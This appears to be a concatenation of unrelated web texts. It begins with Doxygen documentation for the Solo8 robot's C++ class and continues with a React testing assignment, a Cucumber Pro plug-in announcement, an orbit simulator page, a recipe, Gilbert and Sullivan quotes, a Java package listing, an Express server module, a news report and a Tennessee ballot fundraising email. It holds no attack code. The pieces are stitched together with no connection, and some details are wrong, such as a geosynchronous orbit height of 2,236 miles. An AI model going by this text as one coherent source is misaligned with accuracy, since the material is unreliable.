|
blmc_robots
|
Public Member Functions | |
| Solo8 () | |
| Solo8 is the constructor of the class. More... | |
| void | initialize (const std::string &network_id) |
| initialize the robot by setting aligning the motors and calibrate the sensors to 0 | |
| void | send_target_joint_torque (const Eigen::Ref< Vector8d > target_joint_torque) |
| send_target_torques sends the target currents to the motors | |
| void | acquire_sensors () |
| acquire_sensors acquire all available sensors, WARNING !!!! this method has to be called prior to any getter to have up to date data. More... | |
| bool | calibrate (const Vector8d &home_offset_rad) |
| Calibrate the joints by moving to the next joint index position. More... | |
| const Eigen::Ref< Vector8d > | get_motor_inertias () |
| Joint properties. More... | |
| const Eigen::Ref< Vector8d > | get_motor_torque_constants () |
| get_motor_torque_constants More... | |
| const Eigen::Ref< Vector8d > | get_joint_gear_ratios () |
| get_joint_gear_ratios More... | |
| const Eigen::Ref< Vector8d > | get_motor_max_current () |
| get_max_torque More... | |
| const Eigen::Ref< Vector8d > | get_joint_positions () |
| Sensor Data. More... | |
| const Eigen::Ref< Vector8d > | get_joint_velocities () |
| get_joint_velocities More... | |
| const Eigen::Ref< Vector8d > | get_joint_torques () |
| get_joint_torques More... | |
| const Eigen::Ref< Vector8d > | get_joint_target_torques () |
| get_joint_torques More... | |
| const Eigen::Ref< Vector8d > | get_joint_encoder_index () |
| get_joint_encoder_index More... | |
| const Eigen::Ref< Eigen::Vector4d > | get_contact_sensors_states () |
| get_contact_sensors_states More... | |
| const Eigen::Ref< Eigen::Vector4d > | get_slider_positions () |
| get_slider_positions More... | |
| const std::array< bool, 8 > & | get_motor_enabled () |
| Hardware Status. More... | |
| const std::array< bool, 8 > & | get_motor_ready () |
| get_motor_ready More... | |
| const std::array< bool, 4 > & | get_motor_board_enabled () |
| get_motor_board_enabled More... | |
| const std::array< int, 4 > & | get_motor_board_errors () |
| get_motor_board_errors More... | |
Private Attributes | |
| Vector8d | motor_inertias_ |
| Motor data. More... | |
| Vector8d | motor_torque_constants_ |
| DCM motor torque constants. More... | |
| Vector8d | joint_gear_ratios_ |
| joint gear ratios (9). More... | |
| Vector8d | motor_max_current_ |
| Max appliable current before the robot shutdown. More... | |
| Vector8d | joint_zero_positions_ |
| Offset to the theoretical "0" pose. More... | |
| Eigen::Array< double, 8, 1 > | max_joint_torques_ |
| Max joint torques (Nm) | |
| std::array< bool, 8 > | motor_enabled_ |
| Hardware status. More... | |
| std::array< bool, 8 > | motor_ready_ |
| This gives the status (enabled/disabled) of each motors using the joint ordering convention. | |
| std::array< bool, 4 > | motor_board_enabled_ |
| This gives the status (enabled/disabled of the onboard control cards). | |
| std::array< int, 4 > | motor_board_errors_ |
| This gives the status (enabled/disabled of the onboard control cards). | |
| Vector8d | joint_positions_ |
| Joint data. More... | |
| Vector8d | joint_velocities_ |
| joint_velocities_ | |
| Vector8d | joint_torques_ |
| joint_torques_ | |
| Vector8d | joint_target_torques_ |
| joint_target_torques_ | |
| Vector8d | joint_encoder_index_ |
| joint_encoder_index_ | |
| Eigen::Vector4d | slider_positions_ |
| Additional data. More... | |
| Eigen::Vector4d | contact_sensors_states_ |
| contact_sensors_ is contact sensors at each feet of teh quadruped. | |
| std::array< int, 8 > | map_joint_id_to_motor_board_id_ |
| Map the joint id to the motor board id,. More... | |
| std::array< int, 8 > | map_joint_id_to_motor_port_id_ |
| Map the joint id to the motor port id,. More... | |
| std::shared_ptr< MasterBoardInterface > | main_board_ptr_ |
| Drivers communication objects. More... | |
| std::shared_ptr< blmc_drivers::SerialReader > | serial_reader_ |
| Reader for serial port to read arduino slider values. | |
| std::vector< int > | slider_positions_vector_ |
| For reading the raw slider values from the serial port. | |
| std::shared_ptr< blmc_robots::SpiJointModules< 8 > > | joints_ |
| joint_modules_ Used to communicate to the master board motor drivers and motors. | |
| std::array< MotorInterface_ptr, 8 > | motors_ |
| motors_ are the objects allowing us to send motor commands and receive data. | |
| std::array< bool, 8 > | reverse_polarities_ |
| Address the rotation direction of the motor. | |
| std::array< Slider_ptr, 4 > | sliders_ |
| sliders_ these are analogue input from linear potentiometers. | |
| std::array< ContactSensor_ptr, 4 > | contact_sensors_ |
| contact_sensors_ is the contact sensors at each foot tips. More... | |
| bool | active_estop_ |
| If the physical estop is pressed or not. More... | |
Static Private Attributes | |
| static const double | max_joint_torque_security_margin_ = 0.99 |
| Security margin on the saturation of the control. More... | |
| blmc_robots::Solo8::Solo8 | ( | ) |
Solo8 is the constructor of the class.
Hardware properties
Hardware status
Joint data
Additional data
Setup some known data
| void blmc_robots::Solo8::acquire_sensors | ( | ) |
acquire_sensors acquire all available sensors, WARNING !!!! this method has to be called prior to any getter to have up to date data.
Joint data
Additional data
The different status.
| bool blmc_robots::Solo8::calibrate | ( | const Vector8d & | home_offset_rad | ) |
Calibrate the joints by moving to the next joint index position.
| home_offset_rad | This is the angle between the index and the zero pose. |
: Implement calibration procedure.
|
inline |
get_contact_sensors_states
|
inline |
get_joint_encoder_index
|
inline |
get_joint_gear_ratios
|
inline |
Sensor Data.
get_joint_positions
|
inline |
get_joint_torques
|
inline |
get_joint_torques
|
inline |
get_joint_velocities
|
inline |
get_motor_board_enabled
|
inline |
get_motor_board_errors
|
inline |
Hardware Status.
get_motor_enabled
|
inline |
Joint properties.
get_motor_inertias
|
inline |
get_max_torque
|
inline |
get_motor_ready
|
inline |
get_motor_torque_constants
|
inline |
get_slider_positions
|
private |
If the physical estop is pressed or not.
|
private |
contact_sensors_ is the contact sensors at each foot tips.
They also are analogue inputs.
|
private |
joint gear ratios (9).
|
private |
Joint data.
joint_positions_
|
private |
Offset to the theoretical "0" pose.
|
private |
Drivers communication objects.
Main board drivers.
PC <- Ethernet/Wifi -> main board <- SPI -> Motor Board
|
private |
Map the joint id to the motor board id,.
|
private |
Map the joint id to the motor port id,.
|
staticprivate |
Security margin on the saturation of the control.
|
private |
Hardware status.
This gives the status (enabled/disabled) of each motors using the joint ordering convention.
|
private |
Motor data.
Joint propertiesmotors inertia.
|
private |
Max appliable current before the robot shutdown.
|
private |
DCM motor torque constants.
|
private |
Additional data.
slider_positions_ is the position of the linear potentiometer. Can be used as a joystick input.


Angular directive: Datetime Picker ByGiro
This is a directive to use the datetime Picker ByGiro
Model:


Enter a number in CDU format and print it inverted: UDC. Example: 123 goes to 321. Save the number on another variable before print it.


Orbits Explained Visually
And Data Visualization of Satellites
About Orbits
ISS
Orbit Height: 249 miles(LEO)
Typical Speed: 17, 100 miles per hour
Total Weight: 924,740 pounds
GEOsynchronous Satellite:
Orbit Height: 2,236 miles
Typical Speed: 6, 877.8 miles per hour
Total Weight: 3,000-10,000 pounds
This simulation runs at about 1350x normal time rate.
Track a body:
Zoom:
Bodies: 0
Gravity Constant: 1
Tracking: OFF
Mass: 16
Click to place a body.
Scroll or use arrow keys to change mass.
Drag to give it a velocity vector.
Press space to create a cloud.
Press K to fill the screen.
Middle-click or shift-click and drag to move the viewport.
Shift-scroll to zoom.
Press C to track the most massive object.
Press D to delete all bodies not on the screen.
Press Q/A to increase/decrease the gravity constant.
Press P to pause/unpause.


In this project, you will demonstrate proficiency by writing unit tests for an existing React application. Your tests should verify the behavior listed in the Minimum Viable Product section.
Some of the topics covered were:
@testing-library/react
testing framework.Read these requirements carefully. Understand exactly what is expected before starting.
You are allowed, and encouraged, to collaborate with your peers while working on this assignment. Remember to follow the twenty-minute rule and post questions to your cohort’s help channel before seeking support from your PM and Instructor.
Please push your code often and use descriptive commit messages, this helps you and your project manager.
In this project, you will write unit tests for an existing React application that controls a gate and shows two LEDs that portrait the status of the gate.
The requirements are listed under the Minimum Viable Product section below.
Follow these steps to setup your git fork and branch.
git checkout -b <firstName-lastName>
.<firstName-lastName>
branch.git push origin <firstName-lastName>
.Follow these steps for completing your project.
<firstName-lastName>
branch into the master branch on your fork. Please don’t merge your own pull requestAfter a set of interviews with the potential users of the solution, we gathered the following information about the desired functionality. Not all the information provided by our clients is relevant to the design of the solution, but it’s included to help understand the requirements.
Your job is to write unit tests to ensure that the application behaves as expected.
The expected/assumed behavior of the application is listed below.
unlocked
and open
closed
prop is true
and ‘Open’ if otherwiselocked
prop is true
and ‘Unlocked’ if otherwiselocked
or closed
use the red-led
classunlocked
or open
use the green-led
classclosed
and locked
states.This section is optional and not counted towards MVP. Start working on it after you’re done with the main assignment.
Redux
and read this example in the docs to learn how to write tests for it.


We're very excited to announce a higly anticipated feature to all of our beta testers.
RESULTS!
In How Cucumber Pro Works, we outlined that Cucumber will soon be able to publish results to Cucumber Pro.
To make this happen you have to install our new Cucumber Pro plug-in to the project where you run Cucumber from. The Cucumber Pro plug-in works as a formatter, so you need to tell Cucumber to use it.
The Cucumber Pro plugin is designed to run with Cucumber only on your Continuous Integration server, but we recommend you try it out locally first to make sure everything is working correctly. Just make sure you have committed and pushed all your changes before you run Cucumber with this formatter.
You will need a special token to authenticate agains Cucumber Pro. Just email us at<EMAIL_ADDRESS>and tell us your GitHub or Bitbucket user name and we'll send you the token. Later you will be able to get this token from the webapp.
Start by defining the CUCUMBER_PRO_TOKEN
environment variable:
# Linux / OS X
export CUCUMBER_PRO_TOKEN=the-token-you-got-from-us
# Windows
SET CUCUMBER_PRO_TOKEN=the-token-you-got-from-us
Please refer to the documentation for your Continuous Integration server for details about how to set environment variables for your build.
If you’re using Travis CI you can use the travis encrypt
command to encrypt that security token in your .travis.yml
file so it isn't publicly available.
If you manage to set everything up correctly and run a build you should see the results showing up on your project summary page in Cucumber Pro.
Results publishing is currently available for Cucumber JVM and Cucumber Ruby:
Cucumber JVM
UPDATE 28. June 2014. Please refer to Cucumber-JVM Formatter for Cucumber Pro.
Add the cucumber-pro
jar to your project.
If you’re using Maven, just add this to your pom.xml
:
<dependency>
<groupId>info.cukes</groupId>
<artifactId>cucumber-pro</artifactId>
<version>1.0.6</version>
<scope>test</scope>
</dependency>
You also have to upgrade all your Cucumber-JVM jars to 1.1.7
.
The easiest way to enable the formatter is to define another environment variable:
CUCUMBER_OPTIONS="--format cucumber.pro.CucumberProFormatter"
Alternatively, you can also enable it with a Java System property:
-Dcucumber.options="--format cucumber.pro.CucumberProFormatter"
Cucumber Ruby
Add the cucumber-pro
gem to your Gemfile
:
gem "cucumber-pro"
Then install it:
bundle install
Finally, enable the formatter in the script that kicks off Cucumber, for example
in your Rakefile
:
--format Cucumber::Pro --out ./cucumber-pro.log
Tell us what you think
We haven't yet started to implement the snazzy reports you all want to see. Currently you will only see a summary of the latest build.
However, we are storing all the results - including screenshots you send us via the
embed
method, for all your builds!

If you have ideas about how you think it would be useful to display historical results, or even results for a single build, please let us know! We're happy to take napkin drawings, Excel chart screenshots or anything you can think of.


Question 4 of 10
Analysing 2
Excellent! You may need in investigate things and look into problems to work out how to solve them best as a Plumbing Apprentice.
Communicating with other people on site will help you to get the job done well, however, in this situation, you need to be able to evaluate the information you have been given to consider the best way to solve the problem.
By not evaluating the information you have been given, you may be causing more work for yourself or others later on down the line. Checking the information you have been given and thinking about how best to get the job done would be a good way of responding to this situation. Think about how comfortable you would feel doing this.


overview
intro
testing and feedback
welcome!
plan for the day
-> presentation
-> course recap
-> work session
show & tell
later time zones go first
shared screen video (the submission can wait early next week)
at least an itch.io link, title, short description
course eval
online part
10min
recap
thoughts on the class?
balance technical/theoretical?
things we didn't cover? too much? not enough?
interesting parts?
outcomes
things you take away from the semester?
building worlds with computers can lower the barriers to having a prototype of a future world?
tools for imagination, conceptualization and/or research?
stories are a way to modify the world, as well as a way to entrench it.
(both in the what and the how)
work session
work session
hang out to work / break out rooms to solve problems


1 And the Greeks say many other ill-considered things, too; among them, this is a silly story which they tell about Heracles: that when he came to Egypt, the Egyptians crowned him and led him out in a procession to sacrifice him to Zeus; and for a while (they say) he followed quietly, but when they started in on him at the altar, he resisted and killed them all.
2 Now it seems to me that by this story the Greeks show themselves altogether ignorant of the character and customs of the Egyptians; for how should they sacrifice men when they are forbidden to sacrifice even beasts, except swine and bulls and bull-calves, if they are unblemished, and geese?
3 And furthermore, as Heracles was alone, and, still, only a man, as they say, how is it natural that he should kill many myriads? In talking so much about this, may I keep the goodwill of gods and heroes!


Linear search is a very simple search algorithm. In this type of search, a sequential search is made over all items one by one. Every item is checked and if a match is found then that particular item is returned, otherwise the search continues till the end of the data collection.
A linked list is a sequence of data structures, which are connected together via links. Linked List is a sequence of links which contains items. Each link contains a connection to another link. Linked list is the second most-used data structure after array. Following are the important terms to understand the concept of Linked List.
Hypertext Markup Language is the standard markup language for documents designed to be displayed in a web browser. It can be assisted by technologies such as Cascading Style Sheets and scripting languages such as JavaScript.
Cascading Style Sheets is a style sheet language used for describing the presentation of a document written in a markup language like HTML. CSS is a cornerstone technology of the World Wide Web, alongside HTML and JavaScript.
JavaScript, often abbreviated as JS, is a programming language that conforms to the ECMAScript specification. JavaScript is high-level, often just-in-time compiled, and multi-paradigm. It has curly-bracket syntax, dynamic typing.


Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Makes 6
Dietary
A generously proportioned Yorkshire biscuit which is a cross between a fruit scone and a rock cake. Great for baking with children.
Preheat the oven to 180C/350F/Gas 4.
In a bowl, mix the flours and the baking powder together. Rub in the butter. Stir in the lemon zest, dried fruit and spice.
In a separate bowl, mix the egg and milk together. Add to the dry mixture and bring together to form a dough (use a little more milk if necessary).
On a lightly floured work surface, roll out the dough to approximately 2cm/1in thick. Use a pastry cutter to cut the dough into biscuits.
Glaze with the egg wash (egg beaten with milk) and decorate with the cherries and almonds. Make faces using the cherries as eyes and almonds as teeth.
Bake for 15-20 minutes, or until golden-brown and cooked through. Serve warm with butter or clotted cream.


"As some day it may happen that a victim must be found - I've got a little list." |
"You've no right to call me a vulgar fraction."
 Why, an English girl of the highest type is the best, the most beautiful, the bravest, and the brightest creature that Heaven has conferred upon this world of ours. "
Original London Cast: Scott Fishe -- Original Australian Cast: Frank Wilson
"Sir, I loathe the life you are leading, but a good old man's oath is paramount, and I obey."
Original London Cast: Rudolph Lewis -- Original New York Cast: Leo Kloss
"I am a trustee for Beauty, and it is my duty to see that the conditions of my trust are faithfully discharged."
Original London Cast: Rutland Barrington -- Original New York Cast: James Barton -- Original Australian Cast: Guglielmo (Signor) Verdi
"Unappalled by the carm dignity of blameless womanhood, your minion has torn me from my spotless home."
Original London Cast: Rosina Brandram -- Original New York Cast: Elsie Cameron
"Fear nothing - while I live I'll not desert you. I'll soothe and comfort your declining days."
Original London Cast: Jessie Bond -- Original Australian (authorized) Cast: Constance Deorwyn
"We're homely ladies, as no doubt you see, and we have never fished for lover's love."
Original London Cast: Henry Bracy -- Original New York Cast: Wallace Macreery -- Original Australian Cast: Clarence (C. H.) Leumane
"The narrow-minded pedant still believes that two and two makes four! Why we can prove, we women - household drudges that we are - that two and two make five-or three-or seven."
Original London Cast: Leonora Braham -- Original New York Cast: Cora S. Tanner -- Original Australian Cast: Colbourne Barber
"The Lord Chancellor has no power over you. Remember you are half a fairy. You can defy him - down to the waist."
Original London Cast: Jessie Bond -- Original New York Cast: Marie Jansen -- Original Australian Cast: Emma Chambers
"Do not dally too long, Reginald, for my charms are ripe, Reginald, and already they are decaying."
Original London Cast: Alice Barnett -- Original New York Cast: Augusta Roche -- Original Australian Cast: Maggie Moore
"Oh, I should like to talk to you in my own language for five minutes - only five minutes! I know some good, strong, energetic English remarks that would shrivel your trusting nature into raisons - only you wouldn't understand them."
Original London Cast: Mdme. Ilka von Pálmay
"Go, sir, and learn to cast your eyes on some village maiden in your own poor rank."
Original London Cast: Emma Howson -- Original Australian (authorized) Cast: Maggie Moore
"As for my circulation, it is the largest in the world."
Original London Cast: Rosina Brandram -- Original Australian Cast: Alice Barnett
"Why, you look handsome in your women's clothes! Stick to 'em! Men's attire becomes you not."
Original London Cast: George Grossmith -- Original New York Cast: J. H. Ryley -- Original Australian Cast: William Elton
"So that's the Princess Ida's castle! Well, they must be lovely girls, indeed, if it requires such walls as those to keep intruders off!"
Original London Cast: Rutland Barrington -- Original New York Cast: Sgr Brocolini -- Original Australian Cast: Howard Vernon
"To a Monarch who has been accustomed to the uncontrolled use of his limbs, the costume of a British Field-Marshal is, perhaps, at first, a little cramping."
Original London Cast: Rutland Barrington -- Original Australian Cast: Howard Vernon
"My good sir, I don't go about prepared to execute gentlemen at a moment's notice. Why, I never even killed a blue-bottle!"
Original London Cast: George Grossmith -- Original Australian Cast: Howard Vernon
"'You'll soon get used to her looks,' said he, 'and a very nice girl you'll find her! She may very well pass for forty-three in the dusk with the light behind her!'"
Original London Cast: Fred Sullivan
"I really cannot stand seeing my ludwig married twice in one day to somebody else!"
Original London Cast: Florence Perry
"I have always kept my duty strictly before my eyes, and it is to that fact that I owe my advancement to my present distinguished position."
Original London Cast: George Grossmith -- Original New York Cast: J. H. Ryley -- Original Australian Cast: Robert Brough
"Nothing is more annoying than to feel that you're not equal to the intellectual pressure of the conversation. I wish he'd say something intelligible."
Original London Cast: Rutland Barrington
"My own - that is, until ten minutes since, my own - my lately loved, my recently adored - tell me that until, say quarter of an hour ago, I was all in all to thee!"
Original London Cast: Mr. Brownlow -- Original Australian Cast: Knight Aston


| Interface | Description |
|---|---|
| ClassLoaders.Callable<V,E extends java.lang.Throwable> | |
| DataFormats | |
| FileURLHandler |
Created by Mike Sobolewsko on 6/19/15 based on the DataService class
|
| Mandator |
This interface defines the remote method client can exert on the remote
object via a Mandate argument.
|
| ModelTable | |
| Runner |
Created by Mike Sobolewski on 9/27/14.
|
| Class | Description |
|---|---|
| ClassLoaders | |
| Collections | |
| ConfigurableThreadFactory | |
| Crypt |
This is an implementation of the crypt() algorithm of DES encryption.
|
| CSVStringTokenizer | |
| DataTable |
This is a Java class that is an implementation of dataTable of objects that uses a
List of Lists to store the cell data objects. |
| Document |
Class that represents a document Object
|
| DocumentDescriptor | |
| FileTable<K,V> | |
| FileTable.ObjectFile | |
| FileUtils | |
| GenericUtil |
SORCER generic utility class.
|
| GenericUtil.RedirectInputStreamRunnable |
Class starts a thread that redirects and input stream to file
|
| IOUtils | |
| IOUtils.CloseableZipFile | |
| JavaSystemProperties |
Helper class for accessing system properties.
|
| JavaSystemProperties |
Helper class for accessing system properties.
|
| LibraryPathHelper |
LibraryPathHelper implements a Set<String> synchronized with system property java.library.path. each change is immediately reflected in the Java runtime.
|
| Log |
Generic SORCER Logging Utility defines SORCER loggers for your providers.
|
| LoggingExceptionHandler |
Logs uncaught exceptions to SLF4J using a logger for a class that is on the bottom of exception's stack trace.
|
| Loop | |
| Mandate | |
| MavenUtil | |
| ObjectCloner | |
| ObjectLogger | |
| Pool<K,V> |
This class defines pools of multifidelities to be injected in deployment
of mograms based on a pool types.
|
| Pools |
Created by Mike Sobolewski on 10/28/16.
|
| PropertiesLoader | |
| ProviderAccessor |
A utility class that provides access to SORCER services and some
infrastructure services.
|
| ProviderDestroyer | |
| ProviderLocator |
ProviderLoactor is a simple wrapper class over Jini's LookupDiscovery.
|
| ProviderLookup |
A class which supports a simple Jini multicast lookup.
|
| ProviderNameUtil | |
| ProviderUtil |
For compatibility with the version of sorcersoft.com Not needed class as the
methods of ProviderUtil that are in SORCEREnv/Sorcer define the system
functionality not a provider!
|
| Response | |
| Result | |
| SenderEventHandler |
SORCER class
User: prubach
Date: 09.09.14
|
| ServiceAccessor |
A service discovery and management utility allowing to access services by
matching service templates and passing filters provided by clients.
|
| ServiceAccessors | |
| ServiceDestroyer |
Destroys service using attach API
|
| Sorcer |
The Sorcer utility class provides the global environment configuration for
the SORCER environment.
|
| SorcerEnv |
The Sorcer utility class provides the global environment configuration for
the SORCER environment.
|
| SorcerProviderNameUtil | |
| SorcerUtil | |
| SOS | |
| Stopwatch |
The Stopwatch class
|
| StringUtils | |
| TimeUtil |
Format time into a readable string.
|
| UtilTest |
| Enum | Description |
|---|---|
| DataTable.Cell | |
| DataTable.LengthUnits | |
| IOUtils.FileCheck |
| Exception | Description |
|---|---|
| AccessorException |


Services
{{totalRunning}} running
{{totalStopped}} stopped
{{totalRestarting}} restarting
{{totalStarting}} starting
{{totalPending}} pending
No Services found in the Swamp
No services found for query `{{ handler.servicesFilter }}`
Loading swamp services...


Object Oriented versus Functional Programming
September 6, 2015
There are different programming languages out there. Two popular styles of programming, are functional and Object Oriented programming. The key difference is that the funcitonal programming deals with "functions", and object oriented programming deals with objects. What this really means will be explained below.
Object Oriented Programming
These types of languages deal with "objects". Objects are just... things! As real-world things have properties, like size, weight or color, so do objects. Objects also have "methods" that they can do.Functional Programming
Functional Programming deals with "functions". Where Object Oriented languages deal in "things" and "stuff", Functional languages deal in numbers and equations. In Functional Programming your data should always stay the same, and any new bit of information. If your function works once, it will work again and again.


IslaCoin Exchanger/UCoin Wallet/IslaCoin Wallet/Swap Platform will be closed on May 1, 2022. After this date, you will not be able to use the funds in your account, since all coins remaining in the account by this time will be burned. Please WITHDRAW your coins as soon as possible. If you have any problems with the exchange or withdrawal of funds, please immediately write to<EMAIL_ADDRESS>or to the thread on BitcoinTalk, we will try to answer you within 2-3 days.
You can withdraw funds from IslaCoin Wallet/UCoin Wallet/IslaCoin Exchanger with auto exchange to ETH!
Now you can exchange your USO for ETH through web wallet (current rate: 0.0000009 ETH for 1 USO). You can also do this directly through the contract (method burnSwap).
Your IslaCoin and/or UCoin can be exchanged for Usoamic through the swap platform (IslaCoin Exchanger and/or Swap Platform for UCoin).
If your coins are on official web-wallets (IslaCoin Wallet and UCoin Wallet), then you can immediately withdraw Usoamic from them (the swap has been made automatically).
This smart-contract allows to:


Medic from Myanmar killed in shelling in Syria's northeast
Member of Free Burma Rangers working as cameraman and medic hit by shrapnel from mortal shell, group says.
A humanitarian group has said one of its members from Myanmar working as a cameraman and medic has been killed by shelling in northeast Syria.
Turkish troops and their Syrian allies last month launched a cross-border operation into the region to drive away against Kurdish fighters seen as "terrorists" by Ankara.
More:
-
Over a dozen killed in car bomb attack near Turkey-Syria border
-
Fierce clashes erupt between Syrian army, Turkish-led forces
In a video on Sunday, David Eubank, a former member of US Army Special Forces and the founder of the Free Burma Rangers, said the medic, Zau Seng, was hit in the head by shrapnel from a mortar shell that struck nearby as he was filming a video of clashes.
Eubank added that an Iraqi team member was also wounded in the mortar attack about four kilometres (three miles) from Tal Tamr, which he blamed on the "Free Syrian Army and Turks."
"He died right away and we brought him here to Tal Tamr," Eubank said in the video, which also showed one of the aid group's armoured vehicles hit by shrapnel.
Turkey's defence ministry, however, denied that Turkish troops attacked the aid convoy, saying that the reports "are not true."
The Syrian Observatory for Human Rights, a Britain-based monitor with sources inside Syria, said the attack happened in a village called Rashidiyya.
A spokesman for the Syrian Democratic Forces, which is led by the Kurdish People's Protection Units (YPG), said clashes were ongoing in surrounding areas.
Ankara considers the YPG an extension of the armed Kurdistan Workers Party (PKK), which has been fighting against the Turkish state for decades in demand of autonomy. Turkey, the US and the European Union consider the PKK a "terrorist" group.
Though a truce has mostly held, it has been marred by accusations of violations from both sides and occasional clashes.
Turkish President Recep Tayyip Erdogan has threatened to resume the offensive if deemed necessary.


const bodyParser = require('body-parser');
const cors = require('cors');
const express = require('express');
const path = require('path');
const commonErrorHandler = require('./commonErrorHandler');
const errorUtils = require('../utils/error');
function _initialize_() {
let app = express();
app.use(cors());
app.use(bodyParser.urlencoded({extended: true}));
app.use(bodyParser.json());
commonErrorHandler.attachWithApp(app);
return app;
}
/**
* The main entry point that creates the express app instance which later spins
* up as server.
* @param clientPath The absolute path for client app folder which needs to be
* served by this app, must have an index.html with resources folder named
* as any of these-
* `resources`, `static`, `dist`
*
* So, the file structure inside the client folder must be like below-
* ```
* client
* - index.html
* - dist(or static or resources)/
* ```
* @returns {Function}
*/
function initiate(clientPath) {
let app = _initialize_();
if (clientPath) {
let staticPaths = ['dist', 'resources', 'static'];
staticPaths.forEach((staticPath) => {
app.use(express.static(path.resolve(clientPath, staticPath)));
});
app.get('/', function (req, res) {
res.sendFile(path.resolve(clientPath, 'index.html'));
});
}
return app;
}
/**
* Explicitly define the client index.html absolute path and static directory to serve
* @param indexPath
* @param staticDirPath
*/
function initiateWithIndexAndStaticDir(indexPath, staticDirPath) {
let app = _initialize_();
if (indexPath && staticDirPath) {
app.use(express.static(staticDirPath));
app.get('/', function (req, res) {
res.sendFile(indexPath);
});
} else {
errorUtils.throwError('index path and static dir need to be given')
}
return app;
}
module.exports = {
initiate,
initiateWithIndexAndStaticDir
};


For sale: baby shoes, never worn.
One of the shortest but most effective stories of loss. It captures what the residents of Lampedusa, a small Italian island closer to Africa than it is to Europe, have witnessed for decades.
A small group of residents came together and formed the Askavusa (which means "barefoot" in Sicilian) Collective. Together since 2009, they have been memorializing the journeys of migrants by collecting the things they left behind. These migrants who hope to start a new life, abandon the few things from their past they had brought into their future.
"So I have mastered
the art of being invisible,
so breathless, if I opened my mouth
only clouds would come out."
- Mahtem Shiferraw, Your Body is a War
These items are stored in an independent cultural center aptly called PortoM, where M stands for memory, migration, Mediterannean, among other meanings.
“A lot has been destroyed. We started recovering these objects,” says Giacomo Sferlazzo, a local artist and activist.
The collective acts in many ways like bowerbirds. Bowerbirds are famous for collecting the things left behind, but only blue things.
Why blue?
People ask me this question often.
I never know how to respond.
We don’t get to choose what or whom we love, I want to say.
We just don’t get to choose.
This is a line from Maggie Nelson's book titled Bluets. The book is dedicated to the color blue. It even spends time talking about the bowerbirds' dedication to the same color.
67. A male satin bowerbird would not have left it there. A male satin bowerbird would have tottered with it in his beak over to his bower, or his “trysting place,” as some field guides put it, which he spends weeks adorning with blue objects in order to lure a female. Not only does the bowerbird collect and arrange blue objects—bus tickets, cicada wings, blue flowers, bottle caps, blue feathers plucked off smaller blue birds that he kills, if he must, to get their plumage —but he also paints his bower with juices from blue fruits, using the frayed end of a twig as a paintbrush.
Instead of luring females for courtship, the collective is luring memory. “Memory is not neutral. It is a political act: you decide what to remember and what to forget.”
By reminding visitors of this political context, Sferlazzo believes they can fight off easy sentimentalism, and turn art into something more useful.
“Nowadays there is a need to reflect, and that is why I think that art exhibitions should be places to reason, to reflect, to look at data,” he says.
For now, letters written in French, English, Tigrinya, Bengali, Arabic, by loved ones or for loved ones by migrants, are testimonies that are best not to show yet. Displaying them right now would be "a pornography of pain",according to Sferlazzo.
Like this bottle which contains a love letter inside addressed to whomever found it, photographer Marco Pavan shot some of the things left behind by migrants memorialized in the depository in his photojournalism called Migrant Objects.
Selected items from the project are shown in the tint of blue below alongside elements of poems called Home and Conversations About Home (at the Deportation Centre)by Warshan Shire.


NEWS
Co. Tipperary hardware shop worker was finalist in builders merchants excellence awards
by Anne Marie MagorrianA Carrick-on-Suir hardware store worker was a finalist in a nationwide builders merchants excellence awards competition.
Tommy Nolan works at Topline Cleary's Hardware Store on Carrick-on-Suir's Clonmel Road and was a finalist in the Rising Star award category in the Octabuild Builders Merchants Excellence Awards at the Aviva Stadium in Dublin on November 7.
He was among 13 workers at builders merchants around the country nominated for the award. He was nominated by Topline Cleary's proprietor John Phelan.
Tommy thanks John and all his colleagues for their support. He started work at the store over 3 years ago initially on a JobBridge Scheme and was then made a full time staff member.
He has now progressed to working on stock control in the shop. He enjoys the responsibility of his role and sees every day as a new challenge.


Visualisations
Choose Year
2013
2014
2015
2016
2017
The Netherlands
Total Amount
Relative Distribution
Netherlands
Grade for safety in neighbourhood
Crime has increased in the neighbourhood
Feels unsafe
Belief there is a lot of crime in the neighbourhood


Ingesting and searching logs is a common Hadoop use case. For this example, we've focussed on exposing Log data using Apache Solr, and Apache HBase. For each technology Apache HTTP Access logs have been loaded.


[ http://feministmajority.org/ ]
*Donate today to Vote No On 1 Tennessee and its urgently needed media campaign!* [ https://salsa.wiredforchange.com/o/1269/p/salsa/donation/common/public/?donate_page_KEY=9840 ]
Dear Dry,
*We’re emailing you together because the situation in Tennessee is urgent.*
Tennessee is voting right now through Early Voting and on Election Day, November 4, on Amendment 1, a dangerous amendment that would strip privacy protections from the state constitution that currently prevent extreme abortion restrictions in the state.* *
*Right now, Tennessee has some of the strongest privacy rights in the nation protecting women’s reproductive rights - but Amendment 1 would take that all away.*
We cannot let this happen. *Please make an emergency contribution today.* [ https://salsa.wiredforchange.com/o/1269/p/salsa/donation/common/public/?donate_page_KEY=9840 ]
Tennessee is a vital access point for reproductive health care in the South. It serves as a safe haven for women in nearby states, where access to care is both severely limited and under attack.
Politicians in the state legislature put Amendment 1 on the ballot, inserting politics where it doesn’t belong and interfering with woman’s access to reproductive health care.
*We need your help because if this state constitutional Amendment passes, it could have far-reaching and alarming consequences. * [ https://salsa.wiredforchange.com/o/1269/p/salsa/donation/common/public/?donate_page_KEY=9840 ]Your emergency contribution will go to the Vote No on 1 Tennessee Campaign, a statewide coalition that is making its last critical ad buys for television and radio.
We are counting on you. You’ve helped us defeat anti-woman amendments in the past, and we can do it again.
With your help, we can defeat this dangerous Tennessee Amendment 1. *Contribute today and say NO to Amendment 1.* [ https://salsa.wiredforchange.com/o/1269/p/salsa/donation/common/public/?donate_page_KEY=9840 ]
For Women’s Lives,
Eleanor Smeal, President
Feminist Majority
Terry O'Neill, President
National Organization for Women
Paid for and distributed in kind by Feminist Majority, 1600 Wilson Blvd., Suite 801, Arlington, VA 22209
and the National Organization for Women, 1100 H Street, Washington, DC 20005.
“You have received this e-mail because of your interest in women’s issues. To unsubscribe, please ”“click here.
[ http://org.salsalabs.com/dia/track.jsp?v=2&c=A%2BQYIjGPrLwOx88NNwC9whdVDQl9njEk ]"1600 Wilson Boulevard, Suite 801, Arlington, VA, 22209 |<PHONE_NUMBER>


MEMORY
